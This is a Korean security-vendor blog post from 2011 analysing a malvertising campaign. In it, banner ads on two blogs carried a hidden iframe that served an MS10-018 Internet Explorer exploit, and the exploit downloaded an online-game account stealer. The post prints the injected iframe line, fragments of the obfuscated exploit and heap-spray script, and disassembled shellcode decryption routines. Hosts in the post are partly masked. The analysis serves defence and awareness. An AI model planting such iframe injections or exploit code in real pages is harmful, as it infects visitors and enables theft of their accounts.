본문 바로가기
악성코드 정보

여러분의 배너광고는 안전한가요?

by 알 수 없는 사용자 2011. 2. 24.

1. 서론
최근 개인
블로그로 추정되는 블로그에 링크된 배너광고에 악성 URL이 삽입되어 악성코드가 유포되는 사례가 발견되어 이에 대한 분석정보를 공유합니다.

 

2. 여러분의 배너광고는 안전한가요?
악성코드 유포 사이트들을 분석해 보면 해당 사이트들 자체에 취약성이 존재하여 악성 URL삽입되는 경우도 있지만 외부에서 갖다 쓴 컨텐츠(주로 배너광고)  악성 URL이 삽입되는 경우도 상당 수 존재합니다.


배너광고는 가장 큰 목적은 수익에 있기 때문에 기업 또는 개인 구분 없이 운영하는 사이트나 블로그에 배너광고를 달고 있지만 이로 인해서 자신의 사이트 또는 블로그가 한 순간에 악성코드 유포지로 전락할 수도 있다는 것을 반드시 알아둘 필요가 있고 이와 관련하여 ASEC대응팀 블로그에서 언급한 바 있습니다.

   ㆍ참고 사이트: http://core.ahnlab.com/218


최근 악성코드 유포 사이트들을 분석하던 중에 개인 블로그로 추정되는 두 곳에서 사용하는 배너광고에 악성 URL이 삽입되어 악성코드를 유포했음을 발견했고 해당 블로그들의 웹 페이지를 분석한 결과 두 가지 공통점을 발견하였습니다.


  (1) 특정 배너광고 업체에서 제공하는 배너광고 링크가 존재 

    블로그 1:

        http://api.******media.com/******media/advertise/******Top.js?key=c8e96d4e8d65********a906563


    
블로그 2:

        http://api.******media.com/******media/advertise/******Top.js?key=2541e7697d16********ef34e11


  (2)  배너광고에 악성 URL이 포함된 iframe 태그가 존재        

document.writeln("<iframe src=http:\/\/114.***.245.***\/images\/****\/x.htm width=1 
height=8><\/
iframe>");


3. 악성코드가 감염되는 과정을 살펴보면,,,

삽입된 iframe 태그에 존재하는 x.htm에 아래 코드가 존재하는 걸로 봐서는 MS10-018취약점을 사용해서 악성코드를 다운로드 및 실행하는 것으로 보입니다.


function fNrGiX6()

{

    var Segnq0="#default#userData"; MS10-018

    var tFMfb8 = document.createElement(WEXGu5);

    tFMfb8.addBehavior(Segnq0);

    document.appendChild(tFMfb8);

    YGay7='s';

    try

    {

        for (i=0;i<10;i++)

   {

           tFMfb8.setAttribute(YGay7,window);

        }

    }

    catch(e)

    {}

    window.status+='';

}

MS10-018 취약점 코드


난독화된 x.htm1차 해제하면 아래와 같은 코드를 얻을 수 있고,


var pUTN6 = lTPTnEj2+'rDDKei83215rDDKei81DEErDDKei8E8BC /*중간생략 */ /* Shellcode */

var nqgRMP8="d";

var eDfDW4 = uQUR6(pUTN6.replace(/rDDKei8/g,Lunt3));

rYaWhU4="d";

var QzwApR1 = new Array() var MmqXXbk0 = 0x86000 - eDfDW4.length*2;

var UjjGv0 = "rDDKei80c0"+"crDDKei80c0"+"c";

var EGJw1 = uQUR6(UjjGv0.replace(/rDDKei8/g,Lunt3));;

delete xgmkFxh5;

delete KTOtHh1;

delete CuKwWP6;

* 중간생략 */

delete dgugDx4;

delete AFKOWpm8;

delete mnnbmbW0;

delete jIeAszs8;

CollectGarbage();

위 코드를 최종적으로 난독화 해제하면 아래와 같이 정상 Shellcode를 얻을 수 있습니다.



난독화 해제 후 얻은 Shellcode는 분석해 보면 XOR를 사용하여 자신의 코드를 두번 암호화 해 두었습니다.


복호화 루틴 1: 암호화되어 있는 복호화 루틴 2를 복호화

0040146D  |> /310B          /xor     dword ptr [ebx], ecx ; XOR 복호화

0040146F  |. |8BC1          |mov     eax, ecx

00401471  |. |05 051D1EBC   |add     eax, BC1E1D05

00401476  |. |91            |xchg    eax, ecx

00401477  |. |FC            |cld

00401478  |. |23C5          |and     eax, ebp

0040147A  |. |43            |inc     ebx

0040147B  |. |43            |inc     ebx

0040147C  |. |43            |inc     ebx

0040147D  |. |43            |inc     ebx

0040147E  |. |83F0 A9       |xor     eax, FFFFFFA9

00401481  |. |4A            |dec     edx

00401482  |. |0D E13B1EBC   |or      eax, BC1E3BE1

00401487  |. |B8 00000000   |mov     eax, 0

0040148C  |. |48            |dec     eax

0040148D  |. |03C2          |add     eax, edx

0040148F  |.^\79 DC         \jns     short 0040146D


복호화 루틴 2: Shellcode가 다운로드하는 URL이 존재

00401038   $  5B            pop     ebx

00401039   .  4B            dec     ebx

0040103A   .  33C9          xor     ecx, ecx

0040103C   .  66:B9 B803    mov     cx, 3B8

00401040   >  80340B BD     xor     byte ptr [ebx+ecx], 0BD

00401044   .^ E2 FA         loopd   short 00401040


복호화된 URL: http://114.***.246.***/219.exe


복호화된 URL에서 다운로드된 219.exe는 아래 그림을 보면 정상 PE구조를 가진 파일이 아님을 알 수 있고,



Shellcode는 메모리에서 아래 루틴을 사용하여 암호화된 219.exe를 복호화한 후 PC에 정상 PE파일로 생성합니다.


0040116C   .  8946 78       mov     dword ptr [esi+78], eax

0040116F   .  8B4E 64       mov     ecx, dword ptr [esi+64]

00401172   >  807C08 FF A2  cmp     byte ptr [eax+ecx-1], 0A2

00401177   .  74 0C         je      short 00401185

00401179   .  807C08 FF 00  cmp     byte ptr [eax+ecx-1], 0

0040117E   .  74 05         je      short 00401185

00401180   .  807408 FF A2  xor     byte ptr [eax+ecx-1], 0A2

00401185   >^ E2 EB         loopd   short 00401172

지금까지 분석한 내용을 토대로 x.htm의 동작방식을 간단하게 정리해 보면 아래 그림과 같습니다.



219.exe는 윈도우 파일인 imm32.dll을 패치하여 Onlinegamehack(nt32.dll)을 로딩하게 하는 악성코드로 특정 온라인 게임 사용자의 계정정보를 유출하며 아래 그림을 통해서도 확인할 수 있습니다.



계정정보 유출과정에 대한 자세한 분석은 악용될 수 있기에 생략합니다.


4. V3의 대응현황: 2011.02.20.00


5. 에필로그

지금까지 분석한 내용을 결론내 보면 배너광고에 삽입된 악성 URL로 인해서 기업이던 개인이던 간에 자신의 사이트나 블로그가 한 순간에 악성코드 유포지로 변할 수 있고 그로 인해 다른 피해자를 만들 수 있다는 것을 분명히 알야 둬야합니다.

 

앞에서도 언급했지만 배너광고의 가장 큰 목적은 수익입니다. 수익도 좋지만 자신의 사이트나 블로그에 배너광고를 링크하는 것은 한번 쯤은 신중하게 생각해볼 필요가 있습니다. 보안측면에서,,,


그리고 배너광고를 제공하는 업체는 자신의 고객들에게 좀더 안전한 컨텐츠를 제공할 수 있도록 보안측면에서 노력이 필요할 것입니다.

댓글